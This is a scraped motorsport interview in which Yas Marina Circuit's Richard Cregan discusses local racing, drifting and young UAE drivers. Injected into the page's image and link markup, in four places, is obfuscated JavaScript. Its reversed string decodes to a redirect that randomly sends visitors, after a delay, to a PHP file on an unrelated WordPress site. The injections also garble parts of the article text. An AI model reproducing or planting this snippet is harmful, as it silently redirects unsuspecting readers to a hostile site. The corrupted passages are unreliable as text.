Richard Cregan. Yas Marina Circuit. A New Calendar, A New Direction

$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/media/2012/10/IMG_0236.jpg” width=”728″ height=”485″ /> “Now we are working together with the ATC UAE and also with Dubai Autodrome, to make sure we’re putting on events that encourage people to come in. It’s not necessarily about the people who compete this year. I think it’s also equally about the amount of people who join in the coming years, so that they will see there is an infrastructure. We need to build that infrastructure and hopefully that will encourage the fans and the licence holders.”

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The Yas Marina Circuit has been quite outspoken about its commitment to local motor racing, even to the point that it finished its relationship with higher profile series like the GT1 World Championship. Do you think in the long term that was the right decision?

“This new calendar is a direct result of that decision we made some years ago. We brought in those races, they were very successful, but what we could see is that in some ways it wasn’t helping to develop local motorsport. So we took a bold decision at that time to concentrate some of that into developing a club and a series, and today is the result of that.”

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Obviously the focus is on the coming season right now, but is there a long-term goal in mind for the Yas Marina Circuit?

“Developing the new club is our primary task at the moment. Over the next four, five years, we’ll see where it goes, working together with the other stakeholders in the community. That’s very important, as is getting young drivers out there into international motorsport, helping to do that, or at least contributing in some way. We’ve got great facilities to do that. We don’t have the budget unfortunately but we do have the facilities, so that’s the big thing.

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“The other thing is obviously looking at other forms of motorsport. Drifting is a big one. We’ve helped the guys develop the drifting element, and now it’s just booming! We provide facilities for them, we provide a meeting place for them, and we have to listen to the community. It’s no point thinking ‘the organiser is right’, when you’ve got nobody on-track. And I think that’s where we have to facilitate that change.”

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You mentioned ‘young talent’ there, and that brings up another valid point. What is Yas Marina doing to encourage new talent on the UAE motorsport scene?

“We’re always trying to introduce young drivers into the international scene, and there’s a very good FIA program on that which the ATC UAE is pushing. I think a great step has been made with Sheikh Khalid Al Qassimi putting together Abu Dhabi Racing. They’re based here at Yas Marina, and we’re helping as much as we can. I think $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/on-the-track/abu-dhabi-racing-working-with-creative-technologie/” target=”_blank”>signing a five-year deal with Citroen in the Word Rally Championship is one of the best initiatives to have ever happened in Abu Dhabi.

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“$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/on-the-track/abu-dhabi-racing-working-with-creative-technologie/” target=”_blank”>Sheikh Khalid is a huge enthusiast, he’s an international competitor and he’s a mentor, and it’s the same with $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/on-the-track/abu-dhabi-racing-working-with-creative-technologie/” target=”_blank”>Khalid Al Qubaisi. They’re out there competing on an international level, and they can show young people what’s possible. So now we’ve got mentors. That was one of our stepping-stones. Those two in particular show huge support. So we’ve getting more people into the business and the sport, who are able to influence young people.”

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Considering what’s been discussed here today, do you think that at some point we will see a return to the heyday of UAE motorsport, or is that a golden period we’ll never get back?

“I think we will. Our target is to play a part in it and build UAE motor racing back to where it was some years ago, where you had a lot of series running and a lot of people coming here. There’s huge potential at Yas Marina for people to come here testing, because of the winter period. We automatically have a huge advantage in the sense that every other season competes during the summer, and then what do you do during the winter?

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“Look at say the old Tasman Series from the sixties/seventies. Formula One was on in Europe during the summer, and then in the winter, everyone went to New Zealand and Asutralia to compete in the Tasman Series. We can do the same here.

“Again, it’s a way of negotiating deals whereby young drivers get the possibility to test. We’ve got great drivers here, they just need a platform to show what they can do. And that’s what we offer here.”